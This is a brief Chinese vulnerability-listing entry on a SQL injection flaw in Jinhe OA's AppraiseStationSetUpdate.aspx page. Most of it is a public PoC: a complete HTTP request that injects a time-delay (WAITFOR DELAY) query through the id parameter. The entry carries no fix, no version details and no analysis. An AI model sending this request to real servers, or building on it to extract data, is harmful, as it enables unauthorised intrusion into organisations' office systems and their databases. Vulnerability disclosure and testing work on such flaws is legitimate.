金和OA AppraiseStationSetUpdate.aspx SQL注入漏洞

日期: 2025-10-24 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA AppraiseStationSetUpdate.aspx SQL注入漏洞

PoC代码

GET /c6/Jhsoft.Web.Appraise/AppraiseStationSetUpdate.aspx/?id=1;WAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

相关漏洞推荐